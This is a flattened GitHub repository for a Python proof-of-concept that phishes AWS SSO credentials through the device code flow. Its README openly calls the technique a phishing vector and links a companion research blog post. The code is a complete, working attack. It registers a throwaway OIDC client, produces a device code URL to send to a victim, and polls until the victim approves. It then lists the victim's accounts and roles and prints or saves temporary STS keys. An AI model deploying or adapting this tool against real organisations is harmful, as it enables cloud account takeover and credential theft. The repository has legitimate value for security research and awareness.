├── .gitignore ├── README.md ├── aws_sso_menu.py ├── cli.py ├── main.py ├── requirements.txt ├── retrieve_aws_sso_token.py └── screenshot.png /.gitignore: -------------------------------------------------------------------------------- 1 | venv/ 2 | .idea/ 3 | __pycache__/ -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # AWS SSO Device code authentication 2 | 3 | This repository contains Python code to generate an AWS SSO device code URL. Once a user used it to authenticate, it displays the list of AWS accounts and roles they have access to, and retrieves STS credentials inside them. It is a powerful phishing vector to which any identity provider implementing 'device code' authentication is vulnerable to by design (including AWS SSO but also Azure AD, etc.). 4 | 5 | ![](./screenshot.png) 6 | 7 | Companion blog post: https://blog.christophetd.fr/phishing-for-aws-credentials-via-aws-sso-device-code-authentication/ 8 | 9 | *Note: This repository is pretty much useless since you can use the AWS CLI to achieve the same purpose - but it provides an interactive PoC to try it, and doesn't mess with your current AWS CLI configuration! :-)* 10 | 11 | ## Installation 12 | 13 | ``` 14 | python3 -m venv venv 15 | source venv/bin/activate 16 | pip install -r requirements.txt 17 | ``` 18 | 19 | ## Usage 20 | 21 | ``` 22 | $ python main.py --help 23 | usage: main.py [-h] -u START_URL -r REGION [-i SSO_TOKEN_FILE] [-o OUTPUT_FILE] 24 | 25 | optional arguments: 26 | -h, --help show this help message and exit 27 | -u START_URL, --sso-start-url START_URL 28 | AWS SSO start URL. Example: https://mycompany.awssapps.com/start (default: None) 29 | -r REGION, --sso-region REGION 30 | AWS region in which AWS SSO is configured (e.g. us-east-1) (default: None) 31 | -i SSO_TOKEN_FILE, --sso-token-file SSO_TOKEN_FILE 32 | File to read the AWS SSO token from. If provided, no device code URL is generated (default: None) 33 | -o OUTPUT_FILE File to write the retrieved AWS SSO token (default: None) 34 | ``` 35 | 36 | Example: 37 | 38 | ``` 39 | $ python3 main.py -u https://company.awsapps.com/start/ -r eu-west-1 -o /tmp/token 40 | Creating temporary AWS SSO OIDC application 41 | Initiating device code flow 42 | Device code URL: https://device.sso.eu-west-1.amazonaws.com/?user_code=HKRD-BQQP 43 | Waiting indefinitely for user to validate the AWS SSO prompt.. 44 | Successfully retrieved AWS SSO token! 45 | > Dev account (11xxxxxxxxx) 46 | Prod account (545xxxxxxxxx) 47 | 48 | 49 | > AdministratorAccess 50 | ViewOnlyAccess 51 | (back to accounts list) 52 | 53 | Here are your temporary STS credentials for the 'AdministratorAccess' role in the AWS account 'Dev account' (11xxxxx) 54 | 55 | export AWS_ACCESS_KEY_ID=ASIAR.. 56 | export AWS_SECRET_ACCESS_KEY=Lj0.. 57 | export AWS_SESSION_TOKEN=IQo.. 58 | ``` 59 | 60 | Example with an existing AWS SSO token: 61 | 62 | ``` 63 | $ python3 main.py -u https://company.awsapps.com/start/ -r eu-west-1 -i /tmp/token 64 | ``` 65 | 66 | ## Troubleshooting 67 | 68 | ### "invalid_grant - Invalid grant provided" 69 | 70 | Ensure you set the correct AWS SSO region. Given the AWS SSO start URL, you can see it using: 71 | 72 | ``` 73 | $ curl https://company.awsapps.com/start/ -s | grep 'region' 74 | 75 | ``` -------------------------------------------------------------------------------- /aws_sso_menu.py: -------------------------------------------------------------------------------- 1 | import boto3 2 | 3 | from simple_term_menu import TerminalMenu 4 | 5 | 6 | def retrieve_aws_accounts(sso_client, aws_sso_token): 7 | aws_accounts_response = sso_client.list_accounts( 8 | accessToken=aws_sso_token, 9 | maxResults=100 10 | ) 11 | if len(aws_accounts_response.get('accountList', [])) == 0: 12 | raise RuntimeError('Unable to retrieve AWS SSO account list\n') 13 | return aws_accounts_response.get('accountList') 14 | 15 | 16 | def retrieve_roles_in_account(sso_client, aws_sso_token, account): 17 | account_id = account.get('accountId') 18 | roles_response = sso_client.list_account_roles(accessToken=aws_sso_token, accountId=account_id) 19 | if len(roles_response.get('roleList', [])) == 0: 20 | raise RuntimeError(f'Unable to retrieve roles in account {account_id}\n') 21 | 22 | return [role.get('roleName') for role in roles_response.get('roleList')] 23 | 24 | 25 | def retrieve_credentials(sso_client, aws_sso_token, account_id, role_name): 26 | sts_creds = sso_client.get_role_credentials( 27 | accessToken=aws_sso_token, 28 | roleName=role_name, 29 | accountId=account_id 30 | ) 31 | if 'roleCredentials' not in sts_creds: 32 | raise RuntimeError('Unable to retrieve STS credentials') 33 | credentials = sts_creds.get('roleCredentials') 34 | if 'accessKeyId' not in credentials: 35 | raise RuntimeError('Unable to retrieve STS credentials') 36 | 37 | return credentials.get('accessKeyId'), credentials.get('secretAccessKey'), credentials.get('sessionToken') 38 | 39 | 40 | def print_credentials(credentials, account, role_name): 41 | print(f"Here are your temporary STS credentials for the '{role_name}' role in the AWS account '{account.get('accountName')}' ({account.get('accountId')})") 42 | print() 43 | print(f"export AWS_ACCESS_KEY_ID={credentials[0]}") 44 | print(f"export AWS_SECRET_ACCESS_KEY={credentials[1]}") 45 | print(f"export AWS_SESSION_TOKEN={credentials[2]}") 46 | 47 | 48 | def show_menu(aws_sso_token, region): 49 | sso_client = boto3.client('sso', region_name=region) 50 | aws_accounts_list = retrieve_aws_accounts(sso_client, aws_sso_token) 51 | human_readable_accounts_list = [f"{account['accountName']} ({account['accountId']})" for account in 52 | aws_accounts_list] 53 | back_to_main_menu = True 54 | while back_to_main_menu: 55 | selected_account_index = TerminalMenu(human_readable_accounts_list).show() 56 | if selected_account_index is None: 57 | print('Bye') 58 | exit(0) 59 | selected_account = aws_accounts_list[selected_account_index] 60 | roles_in_account = retrieve_roles_in_account(sso_client, aws_sso_token, selected_account) 61 | roles_in_account.append("(back to accounts list)") 62 | selected_role_index = TerminalMenu(roles_in_account).show() 63 | if selected_role_index is None: 64 | print('Bye') 65 | exit(0) 66 | if selected_role_index < len(roles_in_account) - 1: 67 | selected_role = roles_in_account[selected_role_index] 68 | back_to_main_menu = False 69 | selected_role = roles_in_account[selected_role_index] 70 | credentials = retrieve_credentials( 71 | sso_client, 72 | aws_sso_token, 73 | selected_account.get('accountId'), 74 | selected_role 75 | ) 76 | print_credentials(credentials, selected_account, selected_role) 77 | -------------------------------------------------------------------------------- /cli.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | 3 | parser = argparse.ArgumentParser(formatter_class=argparse.ArgumentDefaultsHelpFormatter) 4 | 5 | parser.add_argument( 6 | "-u", "--sso-start-url", 7 | dest='start_url', 8 | help='AWS SSO start URL. Example: https://mycompany.awssapps.com/start', 9 | required=True 10 | ) 11 | 12 | parser.add_argument( 13 | "-r", "--sso-region", 14 | dest='region', 15 | help='AWS region in which AWS SSO is configured (e.g. us-east-1)', 16 | required=True 17 | ) 18 | 19 | parser.add_argument( 20 | "-i", "--sso-token-file", 21 | dest='sso_token_file', 22 | help='File to read the AWS SSO token from. If provided, no device code URL is generated' 23 | ) 24 | parser.add_argument( 25 | "-o", 26 | dest='output_file', 27 | help='File to write the retrieved AWS SSO token' 28 | ) 29 | -------------------------------------------------------------------------------- /main.py: -------------------------------------------------------------------------------- 1 | import cli 2 | from aws_sso_menu import show_menu 3 | from retrieve_aws_sso_token import retrieve_aws_sso_token 4 | 5 | 6 | def main(args): 7 | aws_sso_token = retrieve_aws_sso_token(args) 8 | 9 | if args.output_file: 10 | with open(args.output_file, 'w') as f: 11 | f.write(aws_sso_token) 12 | print(f"Wrote the AWS SSO token to {args.output_file}") 13 | 14 | show_menu(aws_sso_token, args.region) 15 | 16 | 17 | if __name__ == "__main__": 18 | main(cli.parser.parse_args()) 19 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | simple-term-menu==1.2.1 2 | boto3==1.17.80 3 | botocore==1.20.80 -------------------------------------------------------------------------------- /retrieve_aws_sso_token.py: -------------------------------------------------------------------------------- 1 | import time 2 | 3 | import boto3 4 | import botocore 5 | 6 | 7 | def create_oidc_application(sso_oidc_client): 8 | print("Creating temporary AWS SSO OIDC application") 9 | client = sso_oidc_client.register_client( 10 | clientName='never-gonna-give-you-up', 11 | clientType='public' 12 | ) 13 | client_id = client.get('clientId') 14 | client_secret = client.get('clientSecret') 15 | return client_id, client_secret 16 | 17 | 18 | def initiate_device_code_flow(sso_oidc_client, oidc_application, start_url): 19 | print("Initiating device code flow") 20 | authz = sso_oidc_client.start_device_authorization( 21 | clientId=oidc_application[0], 22 | clientSecret=oidc_application[1], 23 | startUrl=start_url 24 | ) 25 | 26 | url = authz.get('verificationUriComplete') 27 | deviceCode = authz.get('deviceCode') 28 | return url, deviceCode 29 | 30 | 31 | def create_device_code_url(sso_oidc_client, start_url): 32 | oidc_application = create_oidc_application(sso_oidc_client) 33 | url, device_code = initiate_device_code_flow(sso_oidc_client, oidc_application, start_url) 34 | return url, device_code, oidc_application 35 | 36 | 37 | def await_user_prompt_validation(sso_oidc_client, oidc_application, device_code, sleep_interval=3): 38 | sso_token = '' 39 | print("Waiting indefinitely for user to validate the AWS SSO prompt...") 40 | while True: 41 | time.sleep(sleep_interval) 42 | try: 43 | token_response = sso_oidc_client.create_token( 44 | clientId=oidc_application[0], 45 | clientSecret=oidc_application[1], 46 | grantType="urn:ietf:params:oauth:grant-type:device_code", 47 | deviceCode=device_code 48 | ) 49 | aws_sso_token = token_response.get('accessToken') 50 | return aws_sso_token 51 | except botocore.exceptions.ClientError as e: 52 | if e.response['Error']['Code'] != 'AuthorizationPendingException': 53 | raise e 54 | 55 | 56 | def retrieve_aws_sso_token(args): 57 | if args.sso_token_file: 58 | with open(args.sso_token_file) as f: 59 | aws_sso_token = f.read().strip() 60 | print(f"Read AWS SSO token from {args.sso_token_file}") 61 | else: 62 | sso_oidc_client = boto3.client('sso-oidc', region_name=args.region) 63 | url, device_code, oidc_application = create_device_code_url(sso_oidc_client, args.start_url) 64 | print(f"Device code URL: {url}") 65 | aws_sso_token = await_user_prompt_validation(sso_oidc_client, oidc_application, device_code) 66 | print("Successfully retrieved AWS SSO token!") 67 | 68 | return aws_sso_token 69 | -------------------------------------------------------------------------------- /screenshot.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/christophetd/aws-sso-device-code-authentication/6545982558eae10362e7736c89ffa2ea8b9b7160/screenshot.png --------------------------------------------------------------------------------